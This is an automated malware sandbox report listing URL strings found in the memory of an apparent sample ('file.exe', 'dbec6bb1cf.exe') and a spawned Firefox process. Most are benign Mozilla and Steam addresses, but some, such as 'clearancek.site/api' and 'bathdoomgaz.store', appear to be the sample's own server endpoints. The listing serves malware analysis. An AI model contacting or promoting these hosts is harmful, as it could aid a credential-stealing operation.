Source: firefox.exe, 0000001A.00000002.2852887309.0000014D583DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2854529746.0000014D58467000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2845609380.0000014D56A13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2836217561.0000014D5650B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2826096429.0000014D55479000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55661000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2845609380.0000014D56A13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847223254.0000014D570AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DA69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001A.00000002.2829848680.0000014D55AF5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D552F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D580000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DA69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 0000001A.00000002.2801575464.0000014D44D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: http://fb.me/use-check-prop-types
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: http://fb.me/use-check-prop-typesG
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2833963035.0000014D56446000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000001A.00000002.2876301503.0000146A35404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2877073959.0000227650200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2876301503.0000146A3546B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2826096429.0000014D55403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 0000001A.00000002.2819983745.0000014D54C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2839377042.0000014D56772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856640879.0000014D588D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2849808862.0000014D574DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2839377042.0000014D5676D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2849808862.0000014D57403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2804563025.0000014D506AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2696458431.0000014D525DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856302856.0000014D58703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2804563025.0000014D506E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2821679085.0000014D54E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D548000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2811313616.0000014D525CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2849058904.0000014D57347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2839377042.0000014D56767000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2854529746.0000014D58444000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2854529746.0000014D584BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2839377042.0000014D56785000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2824604563.0000014D551EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2700282023.0000014D551A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 0000001A.00000002.2877073959.0000227650200000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/Pv
Source: firefox.exe, 0000001A.00000002.2877073959.0000227650200000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/VM
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001A.00000002.2854529746.0000014D58444000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52120000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 0000001A.00000002.2854529746.0000014D58444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000001A.00000002.2854529746.0000014D58444000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52120000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: http://stackoverflow.com/questions/30030031)
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001A.00000002.2850461327.0000014D57578000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001A.00000002.2849808862.0000014D57453000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5483E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D55205000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2804563025.0000014D506E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51324000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51345000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2850461327.0000014D575A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D5526E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.2849808862.0000014D57497000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D5A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2819191173.0000014D54B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001A.00000002.2849808862.0000014D57453000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul5
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51345000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulStartupPerformance:
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862333210.0000014D5D4EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862333210.0000014D5D4EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000003.2683064327.0000014D54C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683904981.0000014D54E31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2684378399.0000014D54E52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001A.00000002.2849058904.0000014D57375000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001A.00000003.2750657821.0000014D5D5B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D5B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2836217561.0000014D56545000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001A.00000002.2801394210.0000014D44BB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D548F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-users/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D557C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829848680.0000014D55A45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55605000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001A.00000002.2856302856.0000014D58703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001A.00000002.2801575464.0000014D44D11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8d4
Source: file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://basket.mozilla.org/news/subscribe/
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://basket.mozilla.org/news/subscribe_sms/
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://basket.mozilla.org/subscribe.json
Source: dbec6bb1cf.exe, 0000000B.00000002.2667659341.0000000001195000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.0000000001195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store:443/apii9
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.2214334735.00000000053DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803840467.0000014D505AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000003.2226516704.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803840467.0000014D505AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: firefox.exe, 0000001A.00000002.2846868069.0000014D56F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001A.00000002.2862971037.0000014D5D535000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001A.00000002.2862971037.0000014D5D535000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001A.00000002.2862971037.0000014D5D535000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001A.00000002.2862971037.0000014D5D535000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site/api
Source: dbec6bb1cf.exe, 0000000B.00000002.2667659341.0000000001195000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.0000000001195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/apiD
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/apip
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/
